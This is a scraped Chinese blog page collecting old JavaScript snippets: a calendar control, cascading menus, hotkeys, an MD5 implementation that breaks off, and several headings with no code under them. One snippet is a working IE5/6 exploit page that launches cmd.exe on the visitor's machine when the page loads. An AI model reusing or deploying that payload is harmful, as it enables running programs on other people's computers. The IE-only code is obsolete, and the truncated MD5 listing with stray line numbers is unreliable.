值得收藏的JavaScript代码

用IE重起计算机或者关机

代码如下：

[Ctrl+A 全选提示:你可先修改部分代码,再点运行代码]

javascript运行客户端exe程序(说明：这只是提供一种思路，不过能不能运行还要看IE的安全设置。)
代码如下：

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>IE6 security...</TITLE>
<style type="text/css">
BODY{font-family:Arial,Helvetica,sans-serif;font-size:16px;color:#222222;background-color:#aaaabb}
H1{background-color:#222222;color:#aaaabb}
</style>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT language=JScript>

var programName=new Array(
    'c:/windows/system32/cmd.exe',
    'c:/winnt/system32/cmd.exe',
    'c:/cmd.exe'
);

function Init(){
    var oPopup=window.createPopup();
    var oPopBody=oPopup.document.body;
    var n,html='';
    for(n=0;n<programName.length;n++)
        html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>";
    oPopBody.innerHTML=html;
    oPopup.show(290, 190, 200, 200, document.body);
}

</SCRIPT>
</head>
<BODY onload="Init()">
<H1>Hmm, let's start a command shell...</H1>
<p>
This page doesn't do anything malicious, but is a demonstration of how to execute a program on a remote machine using the
marvelously secure Internet Explorer web browser!!
</p>
<p>
Up until at least 18/02/02, this script would open a command window when viewed in IE5/6 under WindowsXP and Win2k (possibly also WinME). There
are currently no patches available using "Windows Update" which will prevent this.
</p>
</BODY>
</HTML>

[Ctrl+A 全选提示:你可先修改部分代码,再点运行代码]

Javascript+HTML仿造VB里的MonthView控件

代码如下：

<html>
<head>
<title>MonthView Demo</title>
<script language=javascript>
/***********************************    程序功能：日期选择                 
    特点　　：Javascript+HTML仿造VB里的MonthView控件   
    作者　　：ken            　       
    联系　　：boboshu@21cn.com 　     
    开发日期：2002-8-5               
\***********************************/

var languageName="cn"  //内容显示的语言 value:"cn" "en"
var currentMonth,currentYear
var nowDate,nowMonth,nowYear

d=new Date();
nowDate=d.getDate()
nowMonth=d.getMonth()
nowYear=d.getYear()

currentMonth=nowMonth
currentYear=nowYear

arrWeekCaption_cn = new Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六")
arrWeekCaption_en = new Array("Sun","Mon","Tue","Wed","Thu","Fri","Sat")
arrMonthCaption_cn= new Array("一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月")
arrMonthCaption_en= new Array("January","February","March","April","May","June","July","August","September","October","November","December")

function MonthView(){}

/*******************************            初始化控件
\*******************************/
function MonthView.initialize(){
    
    
    output ='<table cellpadding=0 cellspacing=2 style="border: 1 solid black;width:300;cursor:default" id="tblMonthView" onselectstart="return false">'
    output+='   <tr>'
    output+='      <td>'
    output+='        <table width="100%" cellpadding=0 cellspacing=0>'
    output+='            <tr style="padding-top:10;padding-bottom:10;background:menu;" id="trCaption">'
    output+='                <td><input type="button"value="3" style="height:22;font-family:webdings" onclick="MonthView.showCurrentDate(\'preview\')"></td>'
    output+='                <td align="center"><span id="spanCurrentMonth" style="font-size:12;"></span><span style="padding-left:10;font-size:12" id="spanCurrentYear"></span></td>'
    output+='                <td align="right"><input type="button"value="4" style="height:22;font-family:webdings" onclick="MonthView.showCurrentDate(\'next\')"></td>'
    output+='            </tr>'
    output+='        </table>'
    output+='      </td>'
    output+='    </tr>'
    output+='    <tr>'
    output+='      <td>'
    output+='        <table width="100%" cellpadding=0 cellspacing=2 id="tblShowDay" style="font-size:12">'
    output+='            <tr align="center"><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>'
    output+='            <tr><td colspan=7 height="1" style="background:black" id="tdLine"></td></tr>'
    output+='            <tr><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>'
    output+='        </table>'
    output+='      </td>'
    output+='    </tr>'
    output+='    <tr>'
    output+='      <td>'
    output+='        <table width="100%" cellpadding=0 cellspacing=2 id="tblToday" style="font-size:12">'
    output+='            <tr><td width="20"></td><td></td></tr>'
    output+='        </table>'
    output+='      </td>'
    output+='    </tr>'
    output+='</table>'
    
    document.write (output)
    
    
    //*********当前年、月的显示*********
    
    MonthView.setCurrentCaption()
    
    //*********************************
    //*********星期表头的显示*********
    
    MonthView.setWeekCaption()
    
    //*********************************
    
    //*********设置每月的日期*********
    
    MonthView.bulidDay()
    
    //*****************************
    
    //*********显示隐藏今日日期*********
    
    MonthView.setShowHideToday(true)
    
    //*****************************
}

function MonthView.setCurrentCaption(){
    spanCurrentYear.innerHTML=currentYear
    if (languageName=="cn"){
        spanCurrentMonth.innerHTML=arrMonthCaption_cn[currentMonth]
    }else{
        spanCurrentMonth.innerHTML=arrMonthCaption_en[currentMonth]
    }
}
function MonthView.setWeekCaption(){
    
    if (languageName=="cn"){
        arrCaption=arrWeekCaption_cn
    }else{
        arrCaption=arrWeekCaption_en
    }
    
    for (var i=0; i<arrCaption.length; i++){        
        tblShowDay.rows[0].cells[i].innerHTML=arrCaption[i]
    }
}
function MonthView.bulidDay(){
    
    arrMonthCount=new Array(31,28,31,30,31,30,31,31,30,31,30,31)
    if ((currentYear % 400 ==0) || ((currentYear % 100==0)&&(currentYear % 4==0))){
        arrMonthCount[1]=29
    }
    
    rowDay=2
    
    while (tblShowDay.rows.length>rowDay){
        tblShowDay.deleteRow(rowDay)
    }    
    
    firstDay=new Date(currentYear,currentMonth,1)
    tempRow=tblShowDay.insertRow()
    
    //*********填充当月1号以前的日期*********
    for (var j=0 ;j<firstDay.getDay();j++){
        tempCell=tempRow.insertCell()
    }
    //*************************************
    for (var i=1 ;i<=arrMonthCount[currentMonth]; i++){
        
        tempCell=tempRow.insertCell()
        tempCell.style.textAlign="center"
        tempCell.innerHTML=i
        tempCell.onclick=MonthView.action
        if ((i+firstDay.getDay()) %7 == 0 && i!=arrMonthCount[currentMonth]){tempRow=tblShowDay.insertRow()}
    }
}

function MonthView.showCurrentDate(direction){
    if (direction=="preview"){
        currentMonth--
        if (currentMonth<0) {currentMonth=11 ;currentYear--}
    }
    if (direction=="next"){
        currentMonth++
        if (currentMonth>11) {currentMonth=0 ;currentYear++}
    }
    
    MonthView.setCurrentCaption()
    MonthView.bulidDay()
}
function MonthView.setLanguage(itsName){
    languageName=itsName
    MonthView.setCurrentCaption()
    MonthView.setWeekCaption()
    MonthView.setShowHideToday(true)
}
function MonthView.setCaptionBg(itsColor){
    trCaption.style.background=itsColor
}
function MonthView.setBorder(itsBorder){
    tblMonthView.style.border=itsBorder
}
function MonthView.setLineColor(itsColor){
    tdLine.style.background=itsColor
}
function MonthView.setShowHideToday(flag){
    el=tblToday.rows[0].cells[1]
    if (flag){        
        if (languageName=="cn"){
            el.innerHTML="今日："+nowYear+"-"+(nowMonth+1)+"-"+nowDate
        }else{
            el.innerHTML="Today:"+nowYear+"-"+(nowMonth+1)+"-"+nowDate
        }
        
        el.style.display="block"
    }else{
        el.style.display="none"
    }
}
function MonthView.action(){
    //*********请修改此函数*********
    MonthView_value=currentYear+"-"+(currentMonth+1)+"-"+this.innerHTML
    alert(MonthView_value)
    
}
</script>
</head>

<body>
<div>
<script language=javascript>
MonthView.initialize()
</script>
</div>

<br><br>
<table border=1 style="font-size:12;width:95%">
    <tr>
        <td>方法</td><td>描述</td><td>演示</td>
    </tr>
    <tr>
        <td>MonthView.initialize()</td>
        <td>初始化控件</td>
        <td><image src="none.gif" width="1" height="1"></td>
    </tr>
    <tr>
        <td>MonthView.setLanguage(<i>par</i>)<br>参数："cn" "en"</td>
        <td>设置控件显示语言</td>
        <td>
            <input type="button" value="中文" onclick="MonthView.setLanguage('cn')">
            <input type="button" value="英文" onclick="MonthView.setLanguage('en')">
        </td>
    </tr>
    <tr>
        <td>MonthView.setBorder(<i>par</i>)<br>参数："边框宽度(int) 边框形状(solid|dot...) 边框颜色"</td>
        <td>边框设置</td>
        <td>
            <input type="button" value="ChangeBorder" onclick="MonthView.setBorder('2 solid darkred')">            
        </td>
    </tr>
    <tr>
        <td>MonthView.setCaptionBg(<i>par</i>)<br>参数：十六进制颜色代码</td>
        <td>设置当前年、月的背景色</td>
        <td>
            <input type="button" value="INFOBACKGROUND" onclick="MonthView.setCaptionBg('INFOBACKGROUND')">            
        </td>
    </tr>
    <tr>
        <td>MonthView.setLineColor(<i>par</i>)<br>参数：十六进制颜色代码</td>
        <td>设置分割线的颜色</td>
        <td>
            <input type="button" value="Darkred" onclick="MonthView.setLineColor('darkred')">            
        </td>
    </tr>
    <tr>
        <td>MonthView.setShowHideToday(<i>par</i>)<br>参数：true|false</td>
        <td>显示／隐藏今日日期</td>
        <td>
            <input type="button" value="Hide" onclick="MonthView.setShowHideToday(false)">
            <input type="button" value="Show" onclick="MonthView.setShowHideToday(true)">
        </td>
    </tr>
</table>
</body>
</html>

[Ctrl+A 全选提示:你可先修改部分代码,再点运行代码]

在IE客户端调用windows系统资源
代码如下：

<HTML>
<HEAD>
<TITLE>Start Page</TITLE>

<STYLE>
    INPUT {width: 200} 
</STYLE>

</HEAD>

<BODY>

<H1>Start...</H1>
<INPUT type="button" value="Edit Taskbar Properties" onclick="fnStart(9)"><br>
<INPUT type="button" value="Open Favorites Folder" onclick="fnStart(8)"><br>
<INPUT type="button" value="Browse Program Files" onclick="fnStart(7)"><br>
<INPUT type="button" value="Explore My Documents" onclick="fnStart(6)"><br>
<INPUT type="button" value="Modify Internet Properties" onclick="fnStart(5)"><br>
<INPUT type="button" value="Set System Time" onclick="fnStart(4)"><br>
<INPUT type="button" value="Find a File or Folder" onclick="fnStart(3)"><br>
<INPUT type="button" value="Shut Down Windows" onclick="fnStart(2)"><br>
<INPUT type="button" value="Run" onclick="fnStart(1)"><br>    
<INPUT type="button" value="Minimize All Windows" onclick="fnStart(0)">     
</BODY>
</HTML>

[Ctrl+A 全选提示:你可先修改部分代码,再点运行代码]

一个三级关联菜单的例子

代码如下：

<select name="example" size="1" onChange="redirect(this.options.selectedIndex)">
<option selected>---Select1-------------</option>
<option>Webmaster Sites</option>
<option>News Sites</option>
</select>

<select name="stage2" size="1" onChange="redirect1(this.options.selectedIndex)">
<option value=" " selected> </option>
<option value=" " selected>---Select2--------------</option>
<option value=" " selected>---Select2--------------</option>
</select>

<select name="stage3" size="1" onChange="redirect2(this.options.selectedIndex)">
<option value=" " selected> </option>
<option value=" " selected>---Select3----------------</option>
<option value=" " selected>---Select3----------------</option>
</select>

<script>
<!--

/*
Triple Combo Script Credit
By Hamid Cheheltani/ Website Abstraction (http://www.wsabstract.com)
Visit http://wsabstract.com for this and over 400+ other scripts
*/

var groups=document.isc.example.options.length
var group=new Array(groups)
for (i=0; i<groups; i++)
group[i]=new Array()

group[0][0]=new Option("---Select2---"," ");

group[1][0]=new Option("Now Select This One"," ");
group[1][1]=new Option("JavaScript","47");
group[1][2]=new Option("DHTML","46");
group[1][3]=new Option("CGI","45");

group[2][0]=new Option("Now Select This One"," ");
group[2][1]=new Option("General News","115");
group[2][2]=new Option("Technology News","116");

var temp=document.isc.stage2

function redirect(x){
for (m=temp.options.length-1;m>0;m--)
temp.options[m]=null
for (i=0;i<group[x].length;i++){
temp.options[i]=new Option(group[x][i].text,group[x][i].value)
}
temp.options[0].selected=true
redirect1(0)
}

var secondGroups=document.isc.stage2.options.length
var secondGroup=new Array(groups)
for (i=0; i<groups; i++)  {
secondGroup[i]=new Array(group[i].length)
for (j=0; j<group[i].length; j++)  {
secondGroup[i][j]=new Array()  }}

secondGroup[0][0][0]=new Option("---Select 3---"," ");
secondGroup[1][0][0]=new Option("---Select 3---"," ");
secondGroup[1][1][0]=new Option("Now Select This One"," ");
secondGroup[1][1][1]=new Option("Website Abstraction","http://wsabstract.com";);
secondGroup[1][1][2]=new Option("JavaScript for the non programmer","http://webteacher.com/javascript/";);
secondGroup[1][1][3]=new Option("Java-Scripts.net","http://java-scripts.net";);

secondGroup[1][2][0]=new Option("Now Select This One"," ");
secondGroup[1][2][1]=new Option("Dynamic Drive","http://www.dynamicdrive.com";);
secondGroup[1][2][2]=new Option("Beginner\'s Guide to DHTML","http://www.geocities.com/ResearchTriangle/Facility/4490/";);
secondGroup[1][2][3]=new Option("Web Coder","http://webcoder.com/";);

secondGroup[1][3][0]=new Option("Now Select This One"," ");
secondGroup[1][3][1]=new Option("CGI Resources","http://www.cgi-resources.com";);
secondGroup[1][3][2]=new Option("Ada\'s Intro to CGI","http://adashimar.hypermart.net/";);

secondGroup[2][0][0]=new Option("---Select 3---"," ");
secondGroup[2][1][0]=new Option("Now Select This One"," ");
secondGroup[2][1][1]=new Option("CNN","http://www.cnn.com";);
secondGroup[2][1][2]=new Option("MSNBC","http://www.msnbc.com";);
secondGroup[2][1][3]=new Option("ABC News","http://www.abcnews.com";);

secondGroup[2][2][0]=new Option("Now Select A Page"," ");
secondGroup[2][2][1]=new Option("News.com","http://www.news.com";);
secondGroup[2][2][2]=new Option("Wired","http://www.wired.com";);

var temp1=document.isc.stage3
function redirect1(y){
for (m=temp1.options.length-1;m>0;m--)
temp1.options[m]=null
for (i=0;i<secondGroup[document.isc.example.options.selectedIndex][y].length;i++){
temp1.options[i]=new Option(secondGroup[document.isc.example.options.selectedIndex][y][i].text,secondGroup[document.isc.example.options.selectedIndex][y][i].value)
}
temp1.options[0].selected=true
}

function redirect2(z){
window.location=temp1[z].value
}

//-->
</script>

</td>
  </tr>
</table>
</FORM>

<p><font face="arial" size="-2">This free script provided by</font><br>
<font face="arial, helvetica" size="-2"><a href="http://wsabstract.com";>Website
Abstraction</a></font></p>

[Ctrl+A 全选提示:你可先修改部分代码,再点运行代码]

一种在父窗口中得知 window.open()出的子窗口关闭事件的方法（定时器实现)
代码如下：

[Ctrl+A 全选提示:你可先修改部分代码,再点运行代码]

MSDN 中 clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 控件

代码如下：

[Ctrl+A 全选提示:你可先修改部分代码,再点运行代码]

用javascirpt在<TEXTAREA>中插入元素（光标位置）
代码如下：

[Ctrl+A 全选提示:你可先修改部分代码,再点运行代码]

一个关于新窗口自动调节大小的问题

代码如下：

[Ctrl+A 全选提示:你可先修改部分代码,再点运行代码]

javascript动态增加、删除、填充表格内容

代码如下：

[Ctrl+A 全选提示:你可先修改部分代码,再点运行代码]

层不能跨框架（包括TEXTAREA）显示的解决办法

代码如下：

[Ctrl+A 全选提示:你可先修改部分代码,再点运行代码]

object还有其他几种用法
代码如下：

[Ctrl+A 全选提示:你可先修改部分代码,再点运行代码]

不用询问关闭一个独立的窗口代码

代码如下：

[Ctrl+A 全选提示:你可先修改部分代码,再点运行代码]

做WEB热键

代码如下：

<html>
<head>
<script language='javascript'>
<!--
function issueCommand(x){
    if (document.layers)
    {
          if (x.which==99||x.which==67)
            window.close();
        else if (event.keyCode==112||event.keyCode==80)
            self.print();
        else if (event.keyCode==110||event.keyCode==78)
            alert("Sorry, this is the only song in the List");
    }
    else if (document.all){
        
        if (event.keyCode==99||event.keyCode==67)
            window.close();
        else if (event.keyCode==112||event.keyCode==80)
            self.print();
        else if (event.keyCode==110||event.keyCode==78)
            alert("Sorry, this is the only song in the List");
    }

}

//-->
</script>
</head>

<body>
<script language='javascript'>
<!--
if (document.layers)
    document.captureEvents(Event.KEYPRESS);

document.onkeypress=issueCommand

-->
</script>

<font size=6><u>C</u>lose Window</font><p>
</body>
</html>

[Ctrl+A 全选提示:你可先修改部分代码,再点运行代码]

按下回车键指向下一个位置的一个函数

function tofocus(itemname) //按回车置下一个位置
2

{
3

var a
4

a=eval("document.vouch."+itemname)
5

a.focus()
6

}
7

在控件中使用onkeypress="javascrip:if(window.event.keyCode==13){tofocus('nextformname')}提取下一个控件名

MD5加密的javascript实现例子

/* MD5 Message-Digest Algorithm - JavaScript
2

' MODIFICATION HISTORY:
3

' 1.0 16-Feb-2001 - Phil Fresle (sales@frez.co.uk) - Initial Version (VB/ASP code)
4

' 1.0 21-Feb-2001 - Enrico Mosanghini (erik504@yahoo.com) - JavaScript porting
5

*/
6

function MD5(sMessage) {
7

function RotateLeft(lValue, iShiftBits) { return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits)); }
8

function AddUnsigned(lX,lY) {
9

var lX4,lY4,lX8,lY8,lResult;
10

lX8 = (lX & 0x80000000);
11

lY8 = (lY & 0x80000000);
12

lX4 = (lX & 0x40000000);
13

lY4 = (lY & 0x40000000);
14

lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF);
15

if (lX4 & lY4) return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
16

if (lX4 | lY4) {
17

if (lResult & 0x40000000) return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
18

else return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
19

} else return (lResult ^ lX8 ^ lY8);
20

}
21

function F(x,y,z) { return (x & y) | ((~x) & z); }
22

function G(x,y,z) { return (x & z) | (y & (~z)); }
23

function H(x,y,z) { return (x ^ y ^ z); }
24

function I(x,y,z) {

ξσ Dicky's Blog σξ

导航

统计

公告

与我联系

搜索

常用链接

留言簿(5)

我参加的小组

我参与的团队

我的标签

随笔分类(592)

随笔档案(538)

相册

收藏夹(38)

.NET

BBS

Blog

Download

Hack & Crack

Movie

Music

Other

Technology

积分与排名

最新评论

阅读排行榜

评论排行榜

60天内阅读排行

值得收藏的JavaScript代码